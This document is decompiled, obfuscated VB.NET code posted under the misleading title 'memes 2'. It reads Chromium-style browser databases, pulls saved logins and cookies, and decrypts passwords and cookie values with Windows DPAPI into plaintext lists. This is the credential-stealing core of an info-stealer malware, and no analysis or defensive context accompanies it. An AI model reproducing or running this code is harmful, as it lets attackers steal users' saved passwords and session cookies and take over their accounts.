memes 2

Imports System
Imports System.Collections.Generic
Imports System.IO
Imports System.Runtime.CompilerServices
Imports System.Security.Cryptography
Imports System.Text
Public Class GClass47
    Public Shared Function smethod_0(datapath As String, browser As String) As List(Of GClass50)
        Dim list As List(Of GClass50) = New List(Of GClass50)()
        Dim gClass As GClass51 = Nothing
        If Not File.Exists(datapath) Then
            Return list
        End If
        Dim result As List(Of GClass50)
        Try
            gClass = New GClass51(datapath)
            GoTo IL_24
        Catch ex_1B As Exception
            result = list
        End Try
        Return result
        IL_24:
        If Not gClass.method_9("logins") Then
            Return list
        End If
        Dim num As Integer = gClass.method_2()
        For i As Integer = 0 To num - 1
            Try
                Dim text As String = gClass.method_5(i, "origin_url")
                Dim text2 As String = gClass.method_5(i, "username_value")
                Dim text3 As String = GClass47.smethod_2(gClass.method_5(i, "password_value"))
                If Not String.IsNullOrEmpty(text) AndAlso Not String.IsNullOrEmpty(text2) AndAlso text3 IsNot Nothing Then
                    list.Add(New GClass50() With { .URL = text, .Username = text2, .Password = text3, .Application = browser })
                End If
            Catch ex_BD As Exception
            End Try
        Next
        Return list
    End Function

    Public Shared Function smethod_1(dataPath As String, browser As String) As List(Of GClass47.GClass48)
        Dim list As List(Of GClass47.GClass48) = New List(Of GClass47.GClass48)()
        Dim gClass As GClass51 = Nothing
        If Not File.Exists(dataPath) Then
            Return list
        End If
        Dim result As List(Of GClass47.GClass48)
        Try
            gClass = New GClass51(dataPath)
            GoTo IL_26
        Catch ex_1D As Exception
            result = list
        End Try
        Return result
        IL_26:
        If Not gClass.method_9("cookies") Then
            Return list
        End If
        Dim num As Integer = gClass.method_2()
        For i As Integer = 0 To num - 1
            Try
                Dim text As String = gClass.method_5(i, "host_key")
                Dim text2 As String = gClass.method_5(i, "name")
                Dim value As String = GClass47.smethod_2(gClass.method_5(i, "encrypted_value"))
                Dim path As String = gClass.method_5(i, "path")
                Dim expiresUTC As String = gClass.method_5(i, "expires_utc")
                Dim lastAccessUTC As String = gClass.method_5(i, "last_access_utc")
                Dim secure As Boolean = gClass.method_5(i, "secure") = "1"
                Dim httpOnly As Boolean = gClass.method_5(i, "httponly") = "1"
                Dim expired As Boolean = gClass.method_5(i, "has_expired") = "1"
                Dim persistent As Boolean = gClass.method_5(i, "persistent") = "1"
                Dim priority As Boolean = gClass.method_5(i, "priority") = "1"
                If Not String.IsNullOrEmpty(text) AndAlso Not String.IsNullOrEmpty(text2) AndAlso Not String.IsNullOrEmpty(value) Then
                    list.Add(New GClass47.GClass48() With { .HostKey = text, .Name = text2, .Value = value, .Path = path, .ExpiresUTC = expiresUTC, .LastAccessUTC = lastAccessUTC, .Secure = secure, .HttpOnly = httpOnly, .Expired = expired, .Persistent = persistent, .Priority = priority, .Browser = browser })
                End If
            Catch ex_1BF As Exception
            End Try
        Next
        Return list
    End Function

    Private Shared Function smethod_2(EncryptedData As String) As String
        If EncryptedData IsNot Nothing AndAlso EncryptedData.Length <> 0 Then
            Dim bytes As Byte() = ProtectedData.Unprotect(Encoding.[Default].GetBytes(EncryptedData), Nothing, DataProtectionScope.CurrentUser)
            Return Encoding.UTF8.GetString(bytes)
        End If
        Return Nothing
    End Function

    Public Class GClass48
        Public Overrides Function ToString() As String
            Return String.Format("Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}", New Object()() { Environment.NewLine, AddressOf Me.HostKey, AddressOf Me.Name, AddressOf Me.Value, AddressOf Me.Path, AddressOf Me.Expired, AddressOf Me.HttpOnly, AddressOf Me.Secure })
        End Function

        Public Property Browser() As String

        Public Property Expired() As Boolean

        Public Property ExpiresUTC() As String

        Public Property HostKey() As String

        Public Property HttpOnly() As Boolean

        Public Property LastAccessUTC() As String

        Public Property Name() As String

        Public Property Path() As String

        Public Property Persistent() As Boolean

        Public Property Priority() As Boolean

        Public Property Secure() As Boolean

        Public Property Value() As String

        <CompilerGenerated()>
        Private bool_0 As Boolean

        <CompilerGenerated()>
        Private bool_1 As Boolean

        <CompilerGenerated()>
        Private bool_2 As Boolean

        <CompilerGenerated()>
        Private bool_3 As Boolean

        <CompilerGenerated()>
        Private bool_4 As Boolean

        <CompilerGenerated()>
        Private string_0 As String

        <CompilerGenerated()>
        Private string_1 As String

        <CompilerGenerated()>
        Private string_2 As String

        <CompilerGenerated()>
        Private string_3 As String

        <CompilerGenerated()>
        Private string_4 As String

        <CompilerGenerated()>
        Private string_5 As String

        <CompilerGenerated()>
        Private string_6 As String
    End Class
End Class